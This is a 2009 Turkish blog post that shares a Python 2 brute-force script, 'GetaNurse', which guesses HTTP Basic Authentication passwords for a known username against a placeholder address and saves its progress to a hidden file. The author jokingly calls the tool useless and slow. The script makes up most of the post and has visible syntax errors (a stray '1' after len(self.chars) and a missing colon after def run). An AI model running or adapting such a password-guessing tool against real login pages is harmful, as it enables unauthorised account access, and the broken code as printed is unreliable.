“Hiç uğraşamam…”

Get a Nurse!

Trabzon’dayken gereksizliğimin en üst seviyeye çıkmasından ötürü ortaya koyduğum kaba kuvvet ( brute-force ) uygulamasını paylaşmak istedim. Kullanıcı adı bilinen geleneksel yetkilendirme ( basic authorization ) şifresini deneme-yanılma ile bulmayı amaçlayan bu uygulama, herhangi bir işinize yaramaz, peygamber sabrına sahip değilseniz asla olumlu sonuç vermez, sizi hacker/lamer/programcı vs. yapmaz fakat söylediğim gibi sabrınızı güzel bir şekilde sınayabilir.

GetaNurse:

  1.  
  2. #!/usr/bin/python
  3. #-*- coding:utf-8 -*-
  4.  
  5. #halt yemis brute-forcer
  6. #neden paylastim az da ben bilsem
  7.  
  8. import urllib2
  9. import time,os
  10. from httplib import BadStatusLine
  11. import cPickle as pickle
  12.  
  13. class GetaNurse:
  14.  
  15.         def __init__(self,addr,usr="",min=4,max=16,breath=0):
  16.                 self.chars = unicode("0123456789aAbBcCçÇdDeEfFgGğĞhHıIiİjJkKlLmMnNoOöÖpPrRsSşŞtTuUüÜvVyYzZwWxXqQ.-_/","utf8")
  17.                 self.usr = usr
  18.                 self.addr = addr
  19.                 self.min = min
  20.                 self.max = max
  21.                 self.breath = breath
  22.                 self.passwd = ""
  23.                 self.counter = []
  24.  
  25.                 for i in range(self.min):
  26.                         self.counter.append(0)
  27.  
  28.                 getdir = os.path.dirname(__file__)
  29.                 if os.path.isfile(getdir+"/.dataforgan.txt"):
  30.                         f = open(getdir+"/.dataforgan.txt","rb")
  31.                         counter = pickle.load(f)
  32.                         f.close()
  33.                         if counter[-1] != 0:
  34.                                 counter[-1] -= 1
  35.                         else:
  36.                                 counter[-1] = len(self.chars)1
  37.                         self.counter = counter
  38.  
  39.         def count(self,i,limit):
  40.                 b = 0
  41.                 if not i < 0:
  42.                         if self.counter[i] > 0 and self.counter[i] % limit == 0:
  43.                                 self.counter[i] = 0
  44.                                 self.counter[i-1] += 1
  45.                                 self.count(i-1,limit)
  46.                
  47.                 for a in self.counter:
  48.                         b = b + a
  49.                 if b == 0:
  50.                         if not len(self.counter) > self.max:
  51.                                 self.counter.append(0)
  52.                         else:
  53.                                 raise IOError("I’m sorry, dude.")
  54.  
  55.         def force(self,passwd):
  56.                 self.passwd = passwd
  57.                 handler = urllib2.HTTPBasicAuthHandler()
  58.                 handler.add_password(realm=self.addr,uri=self.addr,user=self.usr,passwd=self.passwd)
  59.                 urlopener = urllib2.build_opener(handler)
  60.                 urllib2.install_opener(urlopener)
  61.                 urllib2.urlopen(self.addr)
  62.        
  63.         def create(self):
  64.                 passwd = ""
  65.                 for i in self.counter:
  66.                         passwd = passwd + self.chars[i]
  67.                 self.counter[-1] += 1
  68.                 self.count(len(self.counter)-1,len(self.chars))
  69.                 return passwd
  70.  
  71.         def run(self)
  72.                 try:
  73.                         self.force(passwd = self.create())
  74.                 except IOError,e:
  75.                         if hasattr(e,"code"):
  76.                                 if e.code != 401:
  77.                                         print e.code
  78.                                         print "%s:basic authorization?" % self.addr
  79.                                 else:
  80.                                         print "%s:%s — negative" % (self.usr,self.passwd)
  81.                                         if self.breath != 0:
  82.                                                 time.sleep(self.breath)
  83.                                         self.run()
  84.                 except BadStatusLine:
  85.                         getdir = os.path.dirname(__file__)
  86.                         f = open(getdir+"/.dataforgan.txt","wb")
  87.                         pickle.dump(self.counter,f)
  88.                         f.close()
  89.                         print "BadStatusLine error.Restart GetaNurse."
  90.                         print "\a"
  91.                 else:
  92.                         print "%s:%s — pozitive" % (self.usr,self.passwd)
  93.                         print "that\’s all.mission completed.see you…"
  94.  
  95. x = GetaNurse(usr="username",addr="http://10.0.0.1",breath=0.1)
  96. print "Wellcome to your new game. Good Luck!\nGetaNurse…\n\n\n\n\n"
  97. x.run()
  98.  

Ne yapacaksınız? Uygulamanın sadece 4 haneli şifre denemelerini bitirme süresinin 42 gün olduğunu hesaplayacak, hemen uygulamayı sonlandıracaksınız. Teşekkürler.

Tags: , , ,
Posted in Python · Ekim 31st, 2009 · Comments (0)

No comments yet

Leave a Reply

Bağlantılar

Etiketler

çember özel yöntem isimleri apache2screen apache2screen.deb bele kuvvet blog brsyuksel brute-force classic classes classmethod descriptors getanurse ic.lnx icontacts ileri c programlama image imagedraw kaba kuvvet kelime tahmin libnotify math math.cos math.sin matryoshka memory leak mesafe mysqli new-style classes oauth php5 property pynotify Python singleton special method names staticmethod steganografi steganography super temizlik twittell TwittellOAuth wchar yeni stil sınıflar __mro__

Meta